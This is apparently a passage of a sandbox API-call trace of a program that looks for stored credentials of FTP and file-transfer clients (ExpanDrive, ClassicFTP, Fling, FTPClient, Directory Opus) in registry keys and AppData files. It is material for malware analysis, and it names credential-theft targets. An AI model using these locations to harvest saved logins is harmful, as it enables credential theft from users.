(lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\ExpanDrive\\drives.js" (normalized: "c:\\users\\eebsym5\\appdata\\local\\expandrive\\drives.js"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.452] LocalFree (hMem=0x643aa8) returned 0x0 [0068.452] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.452] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.452] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.452] lstrlenA (lpString="\\ExpanDrive") returned 11 [0068.452] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x641518 [0068.452] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.452] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\ExpanDrive" | out: lpString1="C:\\ProgramData\\ExpanDrive") returned="C:\\ProgramData\\ExpanDrive" [0068.452] LocalFree (hMem=0x626a88) returned 0x0 [0068.452] lstrlenA (lpString="C:\\ProgramData\\ExpanDrive") returned 25 [0068.452] lstrlenA (lpString="\\drives.js") returned 10 [0068.452] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.452] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\ExpanDrive" | out: lpString1="C:\\ProgramData\\ExpanDrive") returned="C:\\ProgramData\\ExpanDrive" [0068.452] lstrcatA (in: lpString1="C:\\ProgramData\\ExpanDrive", lpString2="\\drives.js" | out: lpString1="C:\\ProgramData\\ExpanDrive\\drives.js") returned="C:\\ProgramData\\ExpanDrive\\drives.js" [0068.452] LocalFree (hMem=0x641518) returned 0x0 [0068.452] CreateFileA (lpFileName="C:\\ProgramData\\ExpanDrive\\drives.js" (normalized: "c:\\programdata\\expandrive\\drives.js"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.452] LocalFree (hMem=0x6292f8) returned 0x0 [0068.452] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.452] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.452] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.453] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.453] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.453] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.453] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.453] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.453] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.453] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.453] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x16, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.453] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.453] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\NCH Software\\ClassicFTP\\FTPAccounts", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.453] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\NCH Software\\ClassicFTP\\FTPAccounts", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.453] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.453] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.453] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.453] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.453] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.453] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.453] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.453] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.454] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.454] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.454] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x17, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.454] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.454] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\NCH Software\\Fling\\Accounts", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.454] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\NCH Software\\Fling\\Accounts", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.454] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.454] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.454] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.454] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.454] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.454] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.454] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.454] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.454] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.454] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.454] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x18, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.454] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.454] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\FTPClient\\Sites", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.454] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\FTPClient\\Sites", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.454] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\SoftX.org\\FTPClient\\Sites", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.455] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\SoftX.org\\FTPClient\\Sites", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.455] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.455] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.455] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.455] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.455] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.455] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.455] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.455] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.455] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.455] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.455] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x19, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.455] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.455] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.455] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.455] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.455] lstrlenA (lpString="\\GPSoftware\\Directory Opus") returned 26 [0068.455] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x641518 [0068.455] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.455] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\GPSoftware\\Directory Opus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus" [0068.455] LocalFree (hMem=0x626a88) returned 0x0 [0068.455] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus") returned 58 [0068.455] lstrlenA (lpString="\\*.*") returned 4 [0068.455] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x626a88 [0068.456] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus" [0068.456] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus\\*.*" [0068.456] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0068.456] LocalFree (hMem=0x626a88) returned 0x0 [0068.456] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus") returned 58 [0068.456] lstrlenA (lpString="\\*.*") returned 4 [0068.456] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x626a88 [0068.456] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus" [0068.456] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus\\*.*" [0068.456] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0068.456] LocalFree (hMem=0x626a88) returned 0x0 [0068.456] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus") returned 58 [0068.456] lstrlenA (lpString="\\*.*") returned 4 [0068.456] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x626a88 [0068.456] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus" [0068.456] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus\\*.*" [0068.456] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GPSoftware\\Directory Opus\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0068.456] LocalFree (hMem=0x626a88) returned 0x0 [0068.456] LocalFree (hMem=0x641518) returned 0x0 [0068.456] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.456] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.456] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.456] lstrlenA (lpString="\\GPSoftware\\Directory Opus") returned 26 [0068.456] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x641518 [0068.456] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.456] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GPSoftware\\Directory Opus" | out: lpString1="C:\\ProgramData\\GPSoftware\\Directory Opus") returned="C:\\ProgramData\\GPSoftware\\Directory Opus" [0068.456] LocalFree (hMem=0x626a88) returned 0x0 [0068.457] lstrlenA (lpString="C:\\ProgramData\\GPSoftware\\Directory Opus") returned 40 [0068.457] lstrlenA (lpString="\\*.*") returned 4 [0068.457] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6415d0 [0068.457] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\ProgramData\\GPSoftware\\Directory Opus" | out: lpString1="C:\\ProgramData\\GPSoftware\\Directory Opus") returned="C:\\ProgramData\\GPSoftware\\Directory Opus" [0068.457] lstrcatA (in: lpString1="C:\\ProgramData\\GPSoftware\\Directory Opus", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GPSoftware\\Directory Opus\\*.*") returned="C:\\ProgramData\\GPSoftware\\Directory Opus\\*.*" [0068.457] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GPSoftware\\Directory Opus\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0068.457] LocalFree (hMem=0x6415d0) returned 0x0 [0068.457] lstrlenA (lpString="C:\\ProgramData\\GPSoftware\\Directory Opus") returned 40 [0068.457] lstrlenA (lpString="\\*.*") returned 4 [0068.457] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6415d0 [0068.457] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\ProgramData\\GPSoftware\\Directory Opus" | out: lpString1="C:\\ProgramData\\GPSoftware\\Directory Opus") returned="C:\\ProgramData\\GPSoftware\\Directory Opus" [0068.457] lstrcatA (in: lpString1="C:\\ProgramData\\GPSoftware\\Directory Opus", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GPSoftware\\Directory Opus\\*.*") returned="C:\\ProgramData\\GPSoftware\\Directory Opus\\*.*" [0068.457] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GPSoftware\\Directory Opus\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0068.457] LocalFree (hMem=0x6415d0) returned 0x0 [0068.457] lstrlenA (lpString="C:\\ProgramData\\GPSoftware\\Directory Opus") returned 40 [0068.457] lstrlenA (lpString="\\*.*") returned 4 [0068.457] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6415d0 [0068.457] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\ProgramData\\GPSoftware\\Directory Opus" | out: lpString1="C:\\ProgramData\\GPSoftware\\Directory Opus") returned="C:\\ProgramData\\GPSoftware\\Directory Opus" [0068.457] lstrcatA (in: lpString1="C:\\ProgramData\\GPSoftware\\Directory Opus", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GPSoftware\\Directory Opus\\*.*") returned="C:\\ProgramData\\GPSoftware\\Directory Opus\\*.*" [0068.457] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GPSoftware\\Directory Opus\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0068.457] LocalFree (hMem=0x6415d0) returned 0x0 [0068.457] LocalFree (hMem=0x641518) returned 0x0 [0068.457] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.457] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.457] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.457] lstrlenA (lpString="\\GPSoftware\\Directory Opus") returned 26 [0068.457] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x641518 [0068.457] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.457] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\GPSoftware\\Directory Opus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus" [0068.458] LocalFree (hMem=0x626a88) returned 0x0 [0068.458] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus") returned 56 [0068.458] lstrlenA (lpString="\\*.*") returned 4 [0068.458] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x626a88 [0068.458] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus" [0068.458] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus\\*.*" [0068.458] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0068.458] LocalFree (hMem=0x626a88) returned 0x0 [0068.458] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus") returned 56 [0068.458] lstrlenA (lpString="\\*.*") returned 4 [0068.458] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x626a88 [0068.458] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus" [0068.458] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus\\*.*" [0068.458] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0068.458] LocalFree (hMem=0x626a88) returned 0x0 [0068.458] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus") returned 56 [0068.458] lstrlenA (lpString="\\*.*") returned 4 [0068.458] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x626a88 [0068.458] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus" [0068.458] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus\\*.*" [0068.458] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\GPSoftware\\Directory Opus\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0068.458] LocalFree (hMem=0x626a88) returned 0x0 [0068.458] LocalFree (hMem=0x641518) returned 0x0 [0068.458] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.458] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.458] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.459] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.459] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.459] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.459] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.459] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.459] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.459] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.459] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x1a, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.459] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.459] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.459] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.459] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.459] lstrlenA (lpString="\\SharedSettings.ccs") returned 19 [0068.459] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x643aa8 [0068.459] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.459] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\SharedSettings.ccs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.ccs") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.ccs" [0068.459] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x35 [0068.459] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643b68 [0068.459] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.ccs", lpDst=0x643b68, nSize=0x35 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.ccs") returned 0x34 [0068.459] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.ccs" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\sharedsettings.ccs"), 